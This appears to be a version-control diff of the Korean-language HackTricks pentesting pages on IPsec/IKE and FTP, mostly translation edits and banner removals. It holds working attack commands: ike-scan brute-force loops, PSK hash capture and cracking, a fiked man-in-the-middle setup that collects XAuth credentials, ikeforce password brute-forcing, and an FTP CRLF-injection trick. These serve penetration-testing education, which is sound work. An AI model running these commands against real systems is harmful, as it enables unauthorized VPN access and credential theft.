* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## 기본 정보
|
## 기본 정보
|
||||||
|
|
||||||
**IPsec**는 네트워크 간(LAN-to-LAN) 및 원격 사용자가 네트워크 게이트웨이에 연결하는 원격 액세스 간의 통신을 보호하는 주요 기술로 널리 인식되며, 기업 VPN 솔루션의 중추 역할을 합니다.
|
**IPsec**은 네트워크 간(LAN-to-LAN) 및 원격 사용자가 네트워크 게이트웨이에 연결하는 통신을 보호하는 주요 기술로 널리 인식되며, 기업 VPN 솔루션의 중추 역할을 합니다.
|
||||||
|
|
||||||
두 지점 간의 **보안 협정(SA)**의 수립은 **IKE**에 의해 관리되며, 이는 인증 및 키 교환을 위해 설계된 프로토콜인 ISAKMP의 범위 내에서 작동합니다. 이 과정은 여러 단계로 진행됩니다:
|
두 지점 간의 **보안 협정(SA)** 수립은 **IKE**에 의해 관리되며, 이는 인증 및 키 교환을 위해 설계된 프로토콜인 ISAKMP의 범위 내에서 작동합니다. 이 과정은 여러 단계로 진행됩니다:
|
||||||
|
|
||||||
* **1단계:** 두 엔드포인트 간에 안전한 채널이 생성됩니다. 이는 사전 공유 키(PSK) 또는 인증서를 사용하여 이루어지며, 세 쌍의 메시지를 포함하는 메인 모드 또는 **공격 모드**를 사용합니다.
|
* **1단계:** 두 엔드포인트 간에 안전한 채널이 생성됩니다. 이는 사전 공유 키(PSK) 또는 인증서를 사용하여 이루어지며, 세 쌍의 메시지를 포함하는 메인 모드 또는 **공격 모드**를 사용합니다.
|
||||||
* **1.5단계:** 필수는 아니지만, 확장 인증 단계로 알려진 이 단계는 사용자 이름과 비밀번호를 요구하여 연결을 시도하는 사용자의 신원을 확인합니다.
|
* **1.5단계:** 필수는 아니지만, 확장 인증 단계로 알려진 이 단계는 사용자 이름과 비밀번호를 요구하여 연결을 시도하는 사용자의 신원을 확인합니다.
|
||||||
* **2단계:** 이 단계는 **ESP** 및 **AH**로 데이터를 보호하기 위한 매개변수를 협상하는 데 전념합니다. 이는 **완벽한 전방 비밀성(PFS)**을 보장하기 위해 1단계와 다른 알고리즘을 사용할 수 있게 하여 보안을 강화합니다.
|
* **2단계:** 이 단계는 **ESP** 및 **AH**를 사용하여 데이터를 보호하기 위한 매개변수를 협상하는 데 전념합니다. 이는 **완벽한 전방 비밀성(PFS)**을 보장하기 위해 1단계와 다른 알고리즘을 사용할 수 있게 하여 보안을 강화합니다.
|
||||||
|
|
||||||
**기본 포트:** 500/udp
|
**기본 포트:** 500/udp
|
||||||
|
|
||||||
## **nmap**을 사용하여 서비스를 발견하십시오.
|
## **nmap**을 사용하여 서비스 발견하기
|
||||||
```
|
```
|
||||||
root@bt:~# nmap -sU -p 500 172.16.21.200
|
root@bt:~# nmap -sU -p 500 172.16.21.200
|
||||||
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
|
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
|
||||||
|
@ -48,7 +40,7 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
||||||
```
|
```
|
||||||
## **유효한 변환 찾기**
|
## **유효한 변환 찾기**
|
||||||
|
|
||||||
IPSec 구성은 하나 또는 몇 개의 변환만 수락하도록 준비될 수 있습니다. 변환은 값의 조합입니다. **각 변환**은 DES 또는 3DES와 같은 **암호화 알고리즘**, SHA 또는 MD5와 같은 **무결성 알고리즘**, 사전 공유 키와 같은 **인증 유형**, Diffie-Hellman 1 또는 2와 같은 키 **배포 알고리즘**, 그리고 28800초와 같은 **수명**을 포함하는 여러 속성을 포함합니다.
|
IPSec 구성은 하나 또는 몇 가지 변환만 수락하도록 준비될 수 있습니다. 변환은 값의 조합입니다. **각 변환**은 DES 또는 3DES와 같은 **암호화 알고리즘**, SHA 또는 MD5와 같은 **무결성 알고리즘**, 사전 공유 키와 같은 **인증 유형**, Diffie-Hellman 1 또는 2와 같은 키 **배포 알고리즘**, 그리고 28800초와 같은 **수명**을 포함하는 여러 속성을 포함합니다.
|
||||||
|
|
||||||
따라서 서버가 당신과 통신할 수 있도록 **유효한 변환을 찾는 것**이 첫 번째 작업입니다. 이를 위해 **ike-scan** 도구를 사용할 수 있습니다. 기본적으로 Ike-scan은 메인 모드에서 작동하며, ISAKMP 헤더와 **여덟 개의 변환이 포함된** 단일 제안으로 게이트웨이에 패킷을 전송합니다.
|
따라서 서버가 당신과 통신할 수 있도록 **유효한 변환을 찾는 것**이 첫 번째 작업입니다. 이를 위해 **ike-scan** 도구를 사용할 수 있습니다. 기본적으로 Ike-scan은 메인 모드에서 작동하며, ISAKMP 헤더와 **여덟 개의 변환이 포함된** 단일 제안으로 게이트웨이에 패킷을 전송합니다.
|
||||||
|
|
||||||
|
@ -70,9 +62,9 @@ As you can see in the previous response, there is a field called **AUTH** with t
|
||||||
* _**1 returned handshake; 0 returned notify:**_ 이것은 **대상이 IPsec에 대해 구성되어 있으며 IKE 협상을 수행할 의사가 있으며, 제안한 변환 중 하나 이상이 허용됨**을 의미합니다 (유효한 변환은 출력에 표시됩니다).
|
* _**1 returned handshake; 0 returned notify:**_ 이것은 **대상이 IPsec에 대해 구성되어 있으며 IKE 협상을 수행할 의사가 있으며, 제안한 변환 중 하나 이상이 허용됨**을 의미합니다 (유효한 변환은 출력에 표시됩니다).
|
||||||
* _0 returned handshake; 1 returned notify:_ VPN 게이트웨이는 **허용 가능한 변환이 없을 때** 알림 메시지로 응답합니다 (일부 게이트웨이는 그렇지 않으며, 이 경우 추가 분석과 수정된 제안이 필요합니다).
|
* _0 returned handshake; 1 returned notify:_ VPN 게이트웨이는 **허용 가능한 변환이 없을 때** 알림 메시지로 응답합니다 (일부 게이트웨이는 그렇지 않으며, 이 경우 추가 분석과 수정된 제안이 필요합니다).
|
||||||
|
|
||||||
그런 다음, 이 경우 우리는 이미 유효한 변환을 가지고 있지만, 3번째 경우에 있다면 **유효한 변환을 찾기 위해 조금 브루트포스해야 합니다:**
|
Then, in this case we already have a valid transformation but if you are in the 3rd case, then you need to **brute-force a little bit to find a valid transformation:**
|
||||||
|
|
||||||
먼저 모든 가능한 변환을 생성해야 합니다:
|
First of all you need to create all the possible transformations:
|
||||||
```bash
|
```bash
|
||||||
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
|
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
|
||||||
```
|
```
|
||||||
|
@ -84,9 +76,9 @@ while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <
|
||||||
```bash
|
```bash
|
||||||
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
|
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
|
||||||
```
|
```
|
||||||
희망적으로 **유효한 변환이 다시 전송됩니다**.\
|
희망적으로 **유효한 변환이 에코백됩니다**.\
|
||||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)를 사용하여 **같은 공격**을 시도할 수 있습니다.\
|
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)를 사용하여 **같은 공격**을 시도할 수 있습니다.\
|
||||||
[**ikeforce**](https://github.com/SpiderLabs/ikeforce)를 사용하여 변환을 무차별 대입으로 시도할 수도 있습니다:
|
[**ikeforce**](https://github.com/SpiderLabs/ikeforce)를 사용하여 변환을 무작위로 시도해 볼 수도 있습니다:
|
||||||
```bash
|
```bash
|
||||||
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
|
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
|
||||||
```
|
```
|
||||||
|
@ -95,11 +87,11 @@ while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive
|
||||||
**DH 그룹: 14 = 2048비트 MODP** 및 **15 = 3072비트**\
|
**DH 그룹: 14 = 2048비트 MODP** 및 **15 = 3072비트**\
|
||||||
**2 = HMAC-SHA = SHA1 (이 경우). `--trans` 형식은 $Enc,$Hash,$Auth,$DH**입니다.
|
**2 = HMAC-SHA = SHA1 (이 경우). `--trans` 형식은 $Enc,$Hash,$Auth,$DH**입니다.
|
||||||
|
|
||||||
Cisco는 DH 그룹 1과 2는 충분히 강력하지 않기 때문에 사용을 피하라고 지적합니다. 전문가들은 **자원이 많은 국가들이 이러한 약한 그룹을 사용하는 데이터의 암호를 쉽게 해독할 수 있다고 믿습니다.** 이는 그들이 코드를 빠르게 해독할 수 있도록 준비하는 특별한 방법을 사용하여 이루어집니다. 이 방법을 설정하는 데 많은 비용이 들지만, 이러한 강력한 국가들이 약한 그룹(예: 1,024비트 이하)을 사용하는 경우 암호화된 데이터를 실시간으로 읽을 수 있게 해줍니다.
|
Cisco는 DH 그룹 1과 2는 충분히 강력하지 않기 때문에 사용을 피하라고 권장합니다. 전문가들은 **자원이 많은 국가들이 이러한 약한 그룹을 사용하는 데이터의 암호를 쉽게 해독할 수 있다고 믿습니다.** 이는 그들이 코드를 빠르게 해독할 수 있도록 준비하는 특별한 방법을 사용하여 이루어집니다. 이 방법을 설정하는 데 많은 비용이 들지만, 이러한 강력한 국가들은 약한 그룹(예: 1,024비트 이하)을 사용하는 경우 암호화된 데이터를 실시간으로 읽을 수 있습니다.
|
||||||
|
|
||||||
### 서버 지문 인식
|
### 서버 지문 인식
|
||||||
|
|
||||||
그런 다음, ike-scan을 사용하여 **장치의 공급업체를 발견**하려고 시도할 수 있습니다. 이 도구는 초기 제안을 보내고 재전송을 중지합니다. 그런 다음, 서버에서 수신된 **메시지**와 일치하는 응답 패턴 간의 **시간** 차이를 **분석**하여, 펜테스터는 VPN 게이트웨이 공급업체를 성공적으로 지문 인식할 수 있습니다. 게다가, 일부 VPN 서버는 IKE와 함께 선택적 **공급업체 ID (VID) 페이로드**를 사용할 것입니다.
|
그런 다음, ike-scan을 사용하여 **장치의 공급업체를 발견**하려고 시도할 수 있습니다. 이 도구는 초기 제안을 보내고 재전송을 중지합니다. 그런 다음, 수신된 **메시지**와 일치하는 응답 패턴 간의 **시간** 차이를 **분석**하여, 펜테스터는 VPN 게이트웨이 공급업체를 성공적으로 지문 인식할 수 있습니다. 게다가, 일부 VPN 서버는 IKE와 함께 선택적 **공급업체 ID (VID) 페이로드**를 사용할 것입니다.
|
||||||
|
|
||||||
**필요한 경우 유효한 변환을 지정하십시오** (using --trans)
|
**필요한 경우 유효한 변환을 지정하십시오** (using --trans)
|
||||||
|
|
||||||
|
@ -144,9 +136,9 @@ If **no hash is returned**, then probably this method of brute forcing will work
|
||||||
|
|
||||||
이 스크립트는 **가능한 ID를 브루트 포스하려고 시도**하며, 유효한 핸드셰이크가 반환되는 ID를 반환합니다(이것이 유효한 그룹 이름이 됩니다).
|
이 스크립트는 **가능한 ID를 브루트 포스하려고 시도**하며, 유효한 핸드셰이크가 반환되는 ID를 반환합니다(이것이 유효한 그룹 이름이 됩니다).
|
||||||
|
|
||||||
특정 변환을 발견했다면 ike-scan 명령에 추가하십시오. 여러 변환을 발견했다면, 모두 시도할 수 있도록 새로운 루프를 추가해도 좋습니다(하나가 제대로 작동할 때까지 모두 시도해야 합니다).
|
특정 변환을 발견했다면 ike-scan 명령에 추가하십시오. 여러 변환을 발견했다면 모두 시도할 수 있도록 새로운 루프를 추가하십시오(작동하는 것이 나올 때까지 모두 시도해야 합니다).
|
||||||
|
|
||||||
일반 그룹 이름을 브루트 포스하기 위해 [ikeforce의 사전](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) 또는 [seclists의 사전](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt)을 사용할 수 있습니다:
|
브루트 포스하기 위해 일반 그룹 이름의 [ikeforce 사전](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) 또는 [seclists의 사전](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt)을 사용할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
||||||
```
|
```
|
||||||
|
@ -164,7 +156,7 @@ Or use this dict (is a combination of the other 2 dicts without repetitions):
|
||||||
|
|
||||||
기본적으로 **ikeforce**는 서버의 동작을 확인하고 사용할 전술을 결정하기 위해 처음에 몇 개의 무작위 ID를 보냅니다.
|
기본적으로 **ikeforce**는 서버의 동작을 확인하고 사용할 전술을 결정하기 위해 처음에 몇 개의 무작위 ID를 보냅니다.
|
||||||
|
|
||||||
* **첫 번째 방법**은 **Cisco 시스템의 Dead Peer Detection DPD** 정보를 **검색하여** 그룹 이름을 브루트포스하는 것입니다 (이 정보는 그룹 이름이 올바른 경우에만 서버에 의해 재생됩니다).
|
* **첫 번째 방법**은 **Dead Peer Detection DPD**에 대한 정보를 **검색**하여 그룹 이름을 브루트포스하는 것입니다 (이 정보는 그룹 이름이 올바른 경우에만 서버에 의해 재생됩니다).
|
||||||
* **두 번째 방법**은 **각 시도에 대해 전송된 응답 수를 확인하는** 것입니다. 때때로 올바른 ID가 사용될 때 더 많은 패킷이 전송됩니다.
|
* **두 번째 방법**은 **각 시도에 대해 전송된 응답 수를 확인하는** 것입니다. 때때로 올바른 ID가 사용될 때 더 많은 패킷이 전송됩니다.
|
||||||
* **세 번째 방법**은 **잘못된 ID에 대한 응답에서 "INVALID-ID-INFORMATION"을 검색하는** 것입니다.
|
* **세 번째 방법**은 **잘못된 ID에 대한 응답에서 "INVALID-ID-INFORMATION"을 검색하는** 것입니다.
|
||||||
* 마지막으로, 서버가 체크에 대해 아무것도 재생하지 않으면, **ikeforce**는 서버를 브루트포스하여 올바른 ID가 전송될 때 서버가 패킷으로 응답하는지 확인합니다.\
|
* 마지막으로, 서버가 체크에 대해 아무것도 재생하지 않으면, **ikeforce**는 서버를 브루트포스하여 올바른 ID가 전송될 때 서버가 패킷으로 응답하는지 확인합니다.\
|
||||||
|
@ -187,7 +179,7 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
||||||
|
|
||||||
## Capturing & cracking the hash
|
## Capturing & cracking the hash
|
||||||
|
|
||||||
마지막으로, **유효한 변환**과 **그룹 이름**을 찾았고 **공격 모드가 허용된다면**, 쉽게 크랙 가능한 해시를 잡을 수 있습니다:
|
마지막으로, **유효한 변환**과 **그룹 이름**을 찾았고 **공격 모드가 허용된다면**, 크랙 가능한 해시를 매우 쉽게 가져올 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
|
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
|
||||||
```
|
```
|
||||||
|
@ -201,7 +193,7 @@ psk-crack -d <Wordlist_path> psk.txt
|
||||||
|
|
||||||
**공격 모드 IKE**는 **사전 공유 키(PSK)**와 결합되어 **그룹 인증** 목적으로 일반적으로 사용됩니다. 이 방법은 **XAuth (확장 인증)**에 의해 보강되어 추가적인 **사용자 인증** 계층을 도입합니다. 이러한 인증은 일반적으로 **Microsoft Active Directory**, **RADIUS** 또는 유사한 시스템과 같은 서비스를 활용합니다.
|
**공격 모드 IKE**는 **사전 공유 키(PSK)**와 결합되어 **그룹 인증** 목적으로 일반적으로 사용됩니다. 이 방법은 **XAuth (확장 인증)**에 의해 보강되어 추가적인 **사용자 인증** 계층을 도입합니다. 이러한 인증은 일반적으로 **Microsoft Active Directory**, **RADIUS** 또는 유사한 시스템과 같은 서비스를 활용합니다.
|
||||||
|
|
||||||
**IKEv2**로 전환하면서 **EAP (확장 가능 인증 프로토콜)**이 사용자 인증을 위해 **XAuth** 대신 사용되는 주목할 만한 변화가 관찰됩니다. 이 변화는 보안 통신 프로토콜 내 인증 관행의 진화를 강조합니다.
|
**IKEv2**로 전환하면서 **EAP (확장 인증 프로토콜)**이 사용자 인증을 위해 **XAuth** 대신 사용되는 주목할 만한 변화가 관찰됩니다. 이 변화는 보안 통신 프로토콜 내에서 인증 관행의 진화를 강조합니다.
|
||||||
|
|
||||||
### 로컬 네트워크 MitM을 통한 자격 증명 캡처
|
### 로컬 네트워크 MitM을 통한 자격 증명 캡처
|
||||||
|
|
||||||
|
@ -211,7 +203,7 @@ fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||||
```
|
```
|
||||||
또한, IPSec을 사용하여 MitM 공격을 시도하고 포트 500으로의 모든 트래픽을 차단하십시오. IPSec 터널을 설정할 수 없는 경우 트래픽이 평문으로 전송될 수 있습니다.
|
또한, IPSec을 사용하여 MitM 공격을 시도하고 포트 500으로의 모든 트래픽을 차단하십시오. IPSec 터널을 설정할 수 없는 경우 트래픽이 평문으로 전송될 수 있습니다.
|
||||||
|
|
||||||
### ikeforce를 사용한 XAUTH 사용자 이름 및 비밀번호 무차별 대입
|
### ikeforce로 XAUTH 사용자 이름 및 비밀번호 무차별 대입
|
||||||
|
|
||||||
유효한 그룹 이름 **id**와 **psk**를 알고 있을 때 **XAUTH**를 무차별 대입하려면 사용자 이름 또는 사용자 이름 목록과 비밀번호 목록을 사용할 수 있습니다:
|
유효한 그룹 이름 **id**와 **psk**를 알고 있을 때 **XAUTH**를 무차별 대입하려면 사용자 이름 또는 사용자 이름 목록과 비밀번호 목록을 사용할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
|
@ -219,13 +211,13 @@ fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||||
```
|
```
|
||||||
이렇게 하면 ikeforce는 각 username:password 조합을 사용하여 연결을 시도합니다.
|
이렇게 하면 ikeforce는 각 username:password 조합을 사용하여 연결을 시도합니다.
|
||||||
|
|
||||||
유효한 변환을 하나 이상 찾았다면 이전 단계와 같이 사용하면 됩니다.
|
하나 이상의 유효한 변환을 찾았다면 이전 단계와 같이 사용하면 됩니다.
|
||||||
|
|
||||||
## IPSEC VPN을 통한 인증
|
## IPSEC VPN 인증
|
||||||
|
|
||||||
Kali에서는 **VPNC**를 사용하여 IPsec 터널을 설정합니다. **프로파일**은 디렉토리 `/etc/vpnc/`에 위치해야 합니다. 이 프로파일은 _**vpnc**_ 명령을 사용하여 시작할 수 있습니다.
|
Kali에서는 **VPNC**를 사용하여 IPsec 터널을 설정합니다. **프로파일**은 디렉토리 `/etc/vpnc/`에 위치해야 합니다. 이 프로파일은 명령 _**vpnc**_를 사용하여 시작할 수 있습니다.
|
||||||
|
|
||||||
다음 명령 및 구성은 VPNC를 사용하여 VPN 연결을 설정하는 과정을 보여줍니다:
|
다음 명령 및 구성은 VPNC로 VPN 연결을 설정하는 과정을 설명합니다:
|
||||||
```bash
|
```bash
|
||||||
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
|
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
|
||||||
IPSec gateway [VPN_GATEWAY_IP]
|
IPSec gateway [VPN_GATEWAY_IP]
|
||||||
|
@ -260,11 +252,6 @@ VPN을 구성할 때 자리 표시자를 실제 안전한 값으로 교체해야
|
||||||
|
|
||||||
* `port:500 IKE`
|
* `port:500 IKE`
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
|
@ -15,18 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## 기본 정보
|
## 기본 정보
|
||||||
|
|
||||||
**파일 전송 프로토콜 (FTP)**는 서버와 클라이언트 간의 컴퓨터 네트워크에서 파일 전송을 위한 표준 프로토콜로 사용됩니다.\
|
**파일 전송 프로토콜 (FTP)**는 서버와 클라이언트 간의 컴퓨터 네트워크에서 파일 전송을 위한 표준 프로토콜로 사용됩니다.\
|
||||||
이는 **일반 텍스트** 프로토콜로, **새 줄 문자 `0x0d 0x0a`**를 사용하므로 때때로 **`telnet`** 또는 **`nc -C`**를 사용하여 **연결해야** 할 수 있습니다.
|
이는 **일반 텍스트** 프로토콜로, **새 줄 문자 `0x0d 0x0a`**를 사용하므로 때때로 **`telnet`** 또는 **`nc -C`**를 사용하여 **연결해야 할** 필요가 있습니다.
|
||||||
|
|
||||||
**기본 포트:** 21
|
**기본 포트:** 21
|
||||||
```
|
```
|
||||||
|
@ -35,17 +27,17 @@ PORT STATE SERVICE
|
||||||
```
|
```
|
||||||
### Connections Active & Passive
|
### Connections Active & Passive
|
||||||
|
|
||||||
**액티브 FTP**에서 FTP **클라이언트**는 먼저 자신의 포트 N에서 FTP 서버의 명령 포트인 포트 21로 제어 **연결**을 **시작**합니다. 그런 다음 **클라이언트**는 포트 **N+1**을 **청취**하고 포트 N+1을 FTP 서버에 보냅니다. FTP **서버**는 그 후 **데이터 연결**을 **시작**하며, **자신의 포트 M에서 FTP 클라이언트의 포트 N+1로** 연결합니다.
|
In **Active FTP** the FTP **client** first **initiates** the control **connection** from its port N to FTP Servers command port – port 21. The **client** then **listens** to port **N+1** and sends the port N+1 to FTP Server. FTP **Server** then **initiates** the data **connection**, from **its port M to the port N+1** of the FTP Client.
|
||||||
|
|
||||||
하지만, FTP 클라이언트가 외부에서 들어오는 데이터 연결을 제어하는 방화벽을 설정한 경우, 액티브 FTP는 문제가 될 수 있습니다. 이에 대한 실행 가능한 해결책은 패시브 FTP입니다.
|
하지만, 만약 FTP 클라이언트가 외부에서 들어오는 데이터 연결을 제어하는 방화벽을 설정했다면, 액티브 FTP는 문제가 될 수 있습니다. 이에 대한 실행 가능한 해결책은 패시브 FTP입니다.
|
||||||
|
|
||||||
**패시브 FTP**에서 클라이언트는 자신의 포트 N에서 FTP 서버의 포트 21로 제어 연결을 **시작**합니다. 이후 클라이언트는 **passv 명령**을 발행합니다. 서버는 그 후 클라이언트에게 자신의 포트 번호 M 중 하나를 보냅니다. 그리고 **클라이언트**는 **자신의 포트 P에서 FTP 서버의 포트 M으로** 데이터 **연결**을 **시작**합니다.
|
In **Passive FTP**, the client initiates the control connection from its port N to the port 21 of FTP Server. After this, the client issues a **passv comand**. The server then sends the client one of its port number M. And the **client** **initiates** the data **connection** from **its port P to port M** of the FTP Server.
|
||||||
|
|
||||||
Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||||
|
|
||||||
### Connection debugging
|
### Connection debugging
|
||||||
|
|
||||||
**FTP** 명령 **`debug`**와 **`trace`**는 **통신이 어떻게 이루어지는지** 확인하는 데 사용할 수 있습니다.
|
The **FTP** commands **`debug`** and **`trace`** can be used to see **how is the communication occurring**.
|
||||||
|
|
||||||
## Enumeration
|
## Enumeration
|
||||||
|
|
||||||
|
@ -137,7 +129,7 @@ nmap --script ftp-* -p 21 <ip>
|
||||||
```bash
|
```bash
|
||||||
ftp://anonymous:anonymous@10.10.10.98
|
ftp://anonymous:anonymous@10.10.10.98
|
||||||
```
|
```
|
||||||
사용자에 의해 제어되는 데이터를 **FTP 서버**에 **직접 전송하는 웹 애플리케이션**이 있는 경우, 이중 URL 인코딩된 `%0d%0a` (이중 URL 인코딩에서는 `%250d%250a`) 바이트를 전송하여 **FTP 서버가 임의의 작업을 수행**하게 할 수 있습니다. 이러한 가능한 임의 작업 중 하나는 사용자가 제어하는 서버에서 콘텐츠를 다운로드하거나 포트 스캐닝을 수행하거나 다른 평문 기반 서비스(예: http)와 통신을 시도하는 것입니다.
|
사용자에 의해 제어되는 데이터를 **FTP 서버**에 **직접 전송하는 웹 애플리케이션**이 있는 경우, 이중 URL 인코딩된 `%0d%0a` (이중 URL 인코딩에서는 `%250d%250a`) 바이트를 전송하여 **FTP 서버가 임의의 작업을 수행**하게 할 수 있습니다. 이러한 가능한 임의의 작업 중 하나는 사용자가 제어하는 서버에서 콘텐츠를 다운로드하거나 포트 스캐닝을 수행하거나 다른 평문 기반 서비스(예: http)와 통신을 시도하는 것입니다.
|
||||||
|
|
||||||
## FTP에서 모든 파일 다운로드
|
## FTP에서 모든 파일 다운로드
|
||||||
```bash
|
```bash
|
||||||
|
@ -159,9 +151,9 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||||
* **`LIST -R`** 재귀적으로 목록을 나열합니다 (서버에서 허용하는 경우).
|
* **`LIST -R`** 재귀적으로 목록을 나열합니다 (서버에서 허용하는 경우).
|
||||||
* **`APPE /path/something.txt`** 이는 FTP에 **수동** 연결 또는 **PORT/EPRT** 연결에서 수신한 데이터를 파일에 저장하도록 지시합니다. 파일 이름이 존재하면 데이터를 추가합니다.
|
* **`APPE /path/something.txt`** 이는 FTP에 **수동** 연결 또는 **PORT/EPRT** 연결에서 수신한 데이터를 파일에 저장하도록 지시합니다. 파일 이름이 존재하면 데이터를 추가합니다.
|
||||||
* **`STOR /path/something.txt`** `APPE`와 같지만 파일을 덮어씁니다.
|
* **`STOR /path/something.txt`** `APPE`와 같지만 파일을 덮어씁니다.
|
||||||
* **`STOU /path/something.txt`** `APPE`와 같지만, 존재할 경우 아무 작업도 하지 않습니다.
|
* **`STOU /path/something.txt`** `APPE`와 같지만 존재할 경우 아무 작업도 하지 않습니다.
|
||||||
* **`RETR /path/to/file`** 수동 또는 포트 연결이 설정되어야 합니다. 그런 다음 FTP 서버는 해당 연결을 통해 지정된 파일을 전송합니다.
|
* **`RETR /path/to/file`** 수동 또는 포트 연결이 설정되어야 합니다. 그런 다음 FTP 서버는 해당 연결을 통해 지정된 파일을 전송합니다.
|
||||||
* **`REST 6`** 이는 서버에 다음 번에 `RETR`를 사용하여 무언가를 전송할 때 6번째 바이트에서 시작해야 함을 지시합니다.
|
* **`REST 6`** 이는 서버에 다음 번에 `RETR`을 사용하여 무언가를 전송할 때 6번째 바이트에서 시작해야 함을 지시합니다.
|
||||||
* **`TYPE i`** 전송을 이진으로 설정합니다.
|
* **`TYPE i`** 전송을 이진으로 설정합니다.
|
||||||
* **`PASV`** 이는 수동 연결을 열고 사용자가 연결할 수 있는 위치를 표시합니다.
|
* **`PASV`** 이는 수동 연결을 열고 사용자가 연결할 수 있는 위치를 표시합니다.
|
||||||
